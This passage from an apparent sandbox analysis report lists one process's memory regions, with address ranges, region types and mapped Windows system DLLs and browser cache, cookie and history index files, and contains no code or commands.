end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1421 start_va = 0x590000 end_va = 0x59ffff entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 1422 start_va = 0x790000 end_va = 0x910fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 1423 start_va = 0xc00000 end_va = 0x1ffffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c00000" filename = "" Region: id = 1424 start_va = 0x2000000 end_va = 0x22cefff entry_point = 0x2000000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1425 start_va = 0x74650000 end_va = 0x746cffff entry_point = 0x746637c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 1426 start_va = 0x920000 end_va = 0xb1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 1427 start_va = 0x4a0000 end_va = 0x57efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 1428 start_va = 0x70000 end_va = 0x81fff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1429 start_va = 0x90000 end_va = 0x9dfff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1430 start_va = 0x22d0000 end_va = 0x26a0fff entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 1431 start_va = 0xa0000 end_va = 0xadfff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 1432 start_va = 0xb0000 end_va = 0xbffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1433 start_va = 0x920000 end_va = 0xa1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 1434 start_va = 0xae0000 end_va = 0xb1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1435 start_va = 0x75c50000 end_va = 0x76899fff entry_point = 0x75cd1601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1436 start_va = 0x750c0000 end_va = 0x750cbfff entry_point = 0x750c238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1437 start_va = 0x758d0000 end_va = 0x759ecfff entry_point = 0x758d158a region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1438 start_va = 0x74ec0000 end_va = 0x750bafff entry_point = 0x74ec22d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 1439 start_va = 0x75350000 end_va = 0x75444fff entry_point = 0x75351865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 1440 start_va = 0x76c40000 end_va = 0x76d75fff entry_point = 0x76c41b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 1441 start_va = 0x74b90000 end_va = 0x74ba6fff entry_point = 0x74b91c9d region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 1442 start_va = 0x74bc0000 end_va = 0x74bcafff entry_point = 0x74bc1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 1443 start_va = 0x74bb0000 end_va = 0x74bbcfff entry_point = 0x74bb11e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 1444 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1445 start_va = 0x2340000 end_va = 0x237ffff entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 1446 start_va = 0x23a0000 end_va = 0x249ffff entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 1447 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1448 start_va = 0xb80000 end_va = 0xbbffff entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 1449 start_va = 0x22e0000 end_va = 0x231ffff entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 1450 start_va = 0x2640000 end_va = 0x273ffff entry_point = 0x0 region_type = private name = "private_0x0000000002640000" filename = "" Region: id = 1451 start_va = 0x2810000 end_va = 0x290ffff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 1452 start_va = 0x74b70000 end_va = 0x74b85fff entry_point = 0x74b72dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1453 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 1454 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1455 start_va = 0x230000 end_va = 0x26bfff entry_point = 0x230000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1456 start_va = 0x230000 end_va = 0x26bfff entry_point = 0x23128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1457 start_va = 0x230000 end_va = 0x26bfff entry_point = 0x23128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1458 start_va = 0x230000 end_va = 0x26bfff entry_point = 0x23128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1459 start_va = 0x230000 end_va = 0x26bfff entry_point = 0x23128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1460 start_va = 0x74b30000 end_va = 0x74b6afff entry_point = 0x74b3128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1461 start_va = 0x110000 end_va = 0x11ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1462 start_va = 0x120000 end_va = 0x127fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 1463 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1464 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1465 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1466 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1467 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1468 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1469 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1470 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1471 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1472 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1473 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1474 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1475 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1476 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1477 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1478 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1479 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1480 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1481 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1482 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1483 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1484 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1485 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1486 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1487 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1488 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1489 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1490 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1491 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1492 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1493 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1494 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1495 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1496 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1497 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1498 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1499 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1500 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1501 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1502 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1503 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1504 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1505 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1506 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1507 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1508 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1509 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1510 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1511 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1512 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1513 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1514 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1515 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1516 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1517 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1518 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1519 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1520 start_va = 0x110000 end_va = 0x117fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1521 start_va = 0x110000 end_va = 0x111fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1522 start_va = 0x742f0000 end_va = 0x7448dfff entry_point = 0x7431e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1523 start_va = 0x120000 end_va = 0x120fff entry_point = 0x120000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 1524 start_va = 0x130000 end_va = 0x131fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 1525 start_va = 0x120000 end_va = 0x12bfff entry_point = 0x120000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 1526 start_va = 0x230000 end_va = 0x237fff entry_point = 0x230000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 1527 start_va = 0x240000 end_va = 0x24ffff entry_point = 0x240000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 1528 start_va = 0x74b00000 end_va = 0x74b20fff entry_point = 0x74b0145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 1529 start_va = 0x76b10000 end_va = 0x76b54fff entry_point = 0x76b111e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 1530 start_va = 0x75890000 end_va = 0x758c4fff entry_point = 0x75890000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1531 start_va = 0x77240000 end_va = 0x77245fff entry_point = 0x77240000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1532 start_va = 0x24a0000 end_va = 0x259ffff entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 1533 start_va = 0x747b0000 end_va = 0x747f3fff entry_point = 0x747b0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 1534 start_va = 0x2910000 end_va = 0x2b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002910000" filename = "" Region: id = 1535 start_va = 0x74790000 end_va = 0x747abfff entry_point = 0x74790000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1536 start_va = 0x748c0000 end_va = 0x748c6fff entry_point = 0x748c0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1537 start_va = 0x76b00000 end_va = 0x76b02fff entry_point = 0x76b00000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\SysWOW64\\normaliz.dll" (normalized: "c:\\windows\\syswow64\\normaliz.dll") Region: id = 1538 start_va = 0x745d0000 end_va = 0x74621fff entry_point = 0x745d0000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 1539 start_va = 0x745b0000 end_va = 0x745c4fff entry_point = 0x745b0000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 1540 start_va = 0x745a0000 end_va = 0x745acfff entry_point = 0x745a0000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 1541 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1542 start_va = 0xa80000 end_va = 0xabffff entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 1543 start_va = 0x2930000 end_va = 0x2a2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002930000" filename = "" Region: id = 1544 start_va = 0x2b00000 end_va = 0x2b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b00000" filename = "" Region: id = 1545 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 1546 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 1547 start_va = 0x2740000 end_va = 0x277ffff entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 1548 start_va = 0x2b40000 end_va = 0x2c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b40000" filename = "" Region: id = 1549 start_va = 0x74590000 end_va = 0x74595fff entry_point = 0x74590000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\SysWOW64\\SensApi.dll" (normalized: "c:\\windows\\syswow64\\sensapi.dll") Region: id = 1550 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1551 start_va = 0x74580000 end_va = 0x7458ffff entry_point = 0x74580000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 1552 start_va = 0x24a0000 end_va = 0x251ffff entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 1553 start_va = 0x2560000 end_va = 0x259ffff entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 1554 start_va = 0x260000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 1555 start_va = 0x2a30000 end_va = 0x2afffff entry_point = 0x0 region_type = private name = "private_0x0000000002a30000" filename = "" Region: id = 1556 start_va = 0x74570000 end_va = 0x74575fff entry_point = 0x74570000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 1557 start_va = 0x24a0000 end_va = 0x24dffff entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 1558 start_va = 0x2510000 end_va = 0x251ffff entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 1559 start_va = 0x2cc0000 end_va = 0x2dbffff entry_point = 0x0 region_type = private name = "private_0x0000000002cc0000" filename = "" Region: id = 1560 start_va = 0x74560000 end_va = 0x7456ffff entry_point = 0x74560000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 1561 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 1562 start_va = 0x74540000 end_va = 0x74551fff entry_point = 0x74540000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 1563 start_va = 0x74500000 end_va = 0x7453bfff entry_point = 0x74500000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 1564 start_va = 0x744f0000 end_va = 0x744f7fff entry_point = 0x744f0000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 1565 start_va = 0x744e0000 end_va = 0x744e4fff entry_point = 0x744e0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 1566 start_va = 0x744d0000 end_va = 0x744d5fff entry_point = 0x744d0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 1567 start_va = 0x742b0000 end_va = 0x742e7fff entry_point = 0x742b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 1568 start_va = 0x370000 end_va = 0x370fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 1569 start_va = 0x2fa0000 end_va = 0x2fdffff entry_point = 0x0 region_type = private name = "private_0x0000000002fa0000" filename = "" Region: id = 1570 start_va = 0x75650000 end_va = 0x756d2fff entry_point = 0x756523d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1571 start_va = 0x380000 end_va = 0x380fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 1572 start_va = 0x74250000 end_va = 0x742a9fff entry_point = 0x74250000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\SysWOW64\\netprofm.dll" (normalized: "c:\\windows\\syswow64\\netprofm.dll") Region: id = 1573 start_va = 0x74240000 end_va = 0x7424dfff entry_point = 0x74240000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 1574 start_va = 0x2a30000 end_va = 0x2a6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a30000" filename = "" Region: id = 1575 start_va = 0x30d0000 end_va = 0x31cffff entry_point = 0x0 region_type = private name = "private_0x00000000030d0000" filename = "" Region: id = 1576 start_va = 0x74230000 end_va = 0x74237fff entry_point = 0x74230000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\SysWOW64\\npmproxy.dll" (normalized: "c:\\windows\\syswow64\\npmproxy.dll") Region: id = 1577 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 1713 start_va = 0x74210000 end_va = 0x74221fff entry_point = 0x74210000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 1714 start_va = 0x74200000 end_va = 0x7420cfff entry_point = 0x74200000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 1715 start_va = 0x390000 end_va = 0x396fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 1716 start_va = 0x5a0000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 1717 start_va = 0xa20000 end_va = 0xa45fff entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 1718 start_va = 0xa50000 end_va = 0xa6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 1719 start_va = 0x25a0000 end_va = 0x25dffff entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 1720 start_va = 0x2780000 end_va = 0x27bffff entry_point = 0x0 region_type = private name = "private_0x0000000002780000" filename = "" Region: id = 1721 start_va = 0x27d0000 end_va = 0x280ffff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 1722 start_va = 0x2a70000 end_va = 0x2ad2fff entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 1723 start_va = 0x2dc0000 end_va = 0x2dfffff entry_point = 0x0 region_type = private name = "private_0x0000000002dc0000" filename = "" Region: id = 1724 start_va = 0x2e20000 end_va = 0x2f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e20000" filename = "" Region: id = 1725 start_va = 0x2fe0000 end_va = 0x3085fff entry_point = 0x0 region_type = private name = "private_0x0000000002fe0000" filename = "" Region: id = 1726 start_va = 0x3240000 end_va = 0x327ffff entry_point = 0x0 region_type = private name = "private_0x0000000003240000" filename = "" Region: id = 1727 start_va = 0x32b0000 end_va = 0x33affff entry_point = 0x0 region_type = private name = "private_0x00000000032b0000" filename = "" Region: id = 1728 start_va = 0x33b0000 end_va = 0x34affff entry_point = 0x0 region_type = private name = "private_0x00000000033b0000" filename = "" Region: id = 1729 start_va = 0x3650000 